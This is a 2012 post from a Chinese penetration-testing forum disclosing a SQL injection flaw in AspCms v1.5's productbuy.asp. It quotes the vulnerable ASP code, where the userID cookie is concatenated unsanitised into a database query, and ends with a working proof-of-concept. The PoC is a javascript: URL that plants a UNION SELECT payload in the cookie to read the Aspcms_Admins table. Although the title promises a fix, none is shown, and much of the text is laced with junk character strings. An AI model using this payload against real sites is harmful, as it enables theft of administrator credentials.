中国网络渗透测试联盟

标题: AspCms_v1.5_20110517 SQL注射漏洞及修复 [打印本页]

作者: admin    时间: 2012-12-27 08:35
标题: AspCms_v1.5_20110517 SQL注射漏洞及修复
好久没上土司了,上来一看发现在删号名单内.....
: S' E2 H  Y0 \$ p, d0 x也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。
0 E! I1 H/ d2 p5 `, k$ e废话不多说,看代码:. @) `4 C8 z; o. j, f" w

. {3 x0 u: k; }' z' _; a<%5 Z  X1 E+ s3 v% T' d/ Y6 `

- O6 ~1 }) Z* }# Xif action = "buy" then
& g5 s: A# h: k1 @9 q& z% l. `1 H# x# o; O
        addOrder()
4 O* I3 u7 _; v# f
3 n9 X* N/ _' t$ ~9 r, q" T" {else5 O# F0 y3 c  f  m6 c' _) @

1 Y* c7 ~  z" r* M4 f        echoContent()
8 P: {* ?$ B; |/ w( t4 l2 ]' y
end if( |5 }5 g. _% E: Z+ T2 n2 B7 S
/ R3 ?% i% j" o( ~# `
& h1 ]+ A, w# l7 r( i! G

1 ~8 P) x% x* b……略过& F  o& w% o) B; g$ u1 h( \" a6 F
5 s1 o- X) B- Y- h& @  H" b* P
" z$ o/ s" E" O, e1 H( G% L% Q, z

8 N& _* m6 p/ n- r0 RSub echoContent()9 k1 C3 S) a0 W* W, Z$ x/ ~
# b! L) ^! V, m  w& r  E6 ?
        dim id
- P6 Q. ~8 |9 T* o- A5 c* m. t5 z* Y
        id=getForm("id","get"). r  I' ~+ }: f3 B7 q7 p# R" {
- n! M* O, f5 a2 f" n1 K3 v
        # D( Q! _& U7 Q1 X# a: Y- O  T
$ J- A/ o% ~0 I" r5 J
        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1"
' i+ j/ y* H+ A- r4 t) Z
/ y% \9 E; ~6 u9 _0 K: W9 h        
' ?1 S7 @- g/ C6 W) s: y. r7 x% ^3 ?) [( r  n2 J
        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template"). z+ X0 ^0 i+ o
" c& b" h1 Q0 l, F. _& r% s8 v
        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct
$ x; {0 [" D! o3 O7 v) M7 I7 X- u, p- b7 G3 K
        Dim templatePath,tempStr
. p+ p/ J. f% @  t" L+ j8 W
( S& D$ E7 `0 b" F        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"+ a/ {# k$ g/ q) |) i
' F" y+ o1 N% e& O( T2 B: e
% G9 t/ e! `2 p) M4 q) W7 B) {
. }" z% m8 g) k9 c% k
        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")( S+ E# h8 J) N# V# R; t
7 t, L: u' n" D; R- r. d
        selectproduct=rsObj(0)" F2 G) ]0 I3 y% Q: W+ {

' ^' j) q+ L9 t        
  y9 p. V% Q, R% L- @8 p; d' r) @4 {. n' B' P5 x
        Dim linkman,gender,phone,mobile,email,qq,address,postcode
# k! M$ d: Z* |6 T1 \; o5 ~$ I1 A3 c8 N2 |# M. q
        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0
/ p" L  W& O+ ^
% n: H/ L8 K/ Z  `0 m        if rCookie("loginstatus")=1 then  5 K6 Q$ {+ s( K9 k2 Y% I6 a
  M% n* n: |! Y7 C
                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1"); E1 v; N- t/ C. t1 o$ K
1 l: O* y" P. t4 Q$ i
                linkman=rsObj("truename"); B+ _, C+ Q/ ?* B2 }9 W2 Y  y% U
: |: g, m% ?% P4 d, U! Z3 c
                gender=rsObj("gender")3 r* o  v0 g$ Q! }7 I
) D' o9 [2 h0 d  w- m6 T2 R  S3 v
                phone=rsObj("phone")3 q9 B# |6 ]6 v

6 a; A) d) X2 B8 D# j3 F6 S                mobile=rsObj("mobile")
) G5 p. l, H- O3 V4 x) F: v( F& O; A& c: y: w" Z
                email=rsObj("email")
/ T5 N; o3 J3 Y) ]9 T. t9 l" b. ^  s; S: k, P" L: l
                qq=rsObj("qq")
4 C% D  k8 c( d+ M- C2 u' k; i* |2 Y+ h0 F
                address=rsObj("address")+ c* e, b- H* ]* ]0 R/ q

1 I# K  j% w5 f1 s& d                postcode=rsObj("postcode")
4 H6 J# e2 _- A0 Q1 H
6 Y& ]# D% d# R9 X( J+ z        else
4 v' ?2 I; c5 u4 [3 @# S- B% g
( N% F0 H$ j; J4 e8 y: W                gender=1* \% s$ d3 ~# F; J' Q1 _

' N# Q/ O( m# o        end if6 ]' F6 B! P! W1 l- k/ ]
% ^& U1 X* q9 Q+ f6 l: E* |3 Y
        rsObj.close()
9 S" K1 h/ W" |, M; @& @1 T% U3 T# L6 y$ ^( z
               
  [$ p/ N/ ?2 O3 n; n( Q6 n8 i; A( l5 S1 S5 b. c
        with templateObj
/ k5 C2 h1 z) _- Y+ S- m1 Y% V& h6 F2 J, |7 p6 ]
                .content=loadFile(templatePath)        # c5 \" f: l, i1 s) x, r8 o

! s  Z$ E" s* E) I# S                .parseHtml()- ~6 _1 m+ O; k
; y3 F  ^! G8 q* h5 b
                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)) }2 f* w$ R+ L) `) }* i$ o
8 `) C0 Y6 p( t) O4 R' K- {7 k2 O
                .content=replaceStr(.content,"[aspcms:linkman]",linkman)               
2 b7 R$ N$ N7 y. _  s) Z& k
4 E0 }7 G+ o) i. Z                .content=replaceStr(.content,"[aspcms:gender]",gender)                , E  n# }3 d, T$ `9 S- q
. o. j3 b% V8 g- I' _
                .content=replaceStr(.content,"[aspcms:phone]",phone)               
7 P! a5 X/ g8 U0 S
# d0 \% Z& t4 K; g4 S                .content=replaceStr(.content,"[aspcms:mobile]",mobile)               
: f  _8 j9 z6 x7 m& W$ s5 q" j, H8 ?6 E0 W
                .content=replaceStr(.content,"[aspcms:email]",email)                        
8 d/ o0 G. O7 i/ c
' T  o9 s: r6 L$ v' L/ t  ~7 e                .content=replaceStr(.content,"[aspcms:qq]",qq)                        
+ h1 q4 z+ W7 c( w. B4 y/ l9 T  E/ E) Y: S
                .content=replaceStr(.content,"[aspcms:address]",address)                        ; K) B& W+ Y' M8 x6 y( P

6 m1 F) O! L& s: C% h$ @& d                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        ' [) p$ ], u" @! P# G  _

4 h0 E9 ]. r. ^: @. ~2 W                .parseCommon()                 
! A1 O4 K0 S! N) |$ U/ [9 T7 b
  ?8 E2 j7 w2 r6 X                echo .content
' i9 ~7 ]+ U( i# l( B  x+ ]
/ O6 f* p! ^) `2 a        end with9 E: ^! b6 ^& N3 ]) Z# u
$ R# }3 K5 F1 Q! Z
        set templateobj =nothing : terminateAllObjects
% J" X; {% ~7 g9 o+ M0 t+ H- R; j0 m! A& k2 }# w
End Sub
$ [  u7 i2 d, d! o3 k/ z# W1 F漏洞很明显,没啥好说的
3 G( D+ A8 x  w6 |' cpoc:
5 d2 q( T! Y$ ^7 I& G  ?  ?9 u2 ^. ]# `1 i0 o
javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子​
- L, C' a- d, i# A- o4 @
" x+ }$ I& |& W9 M" ]3 Q




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2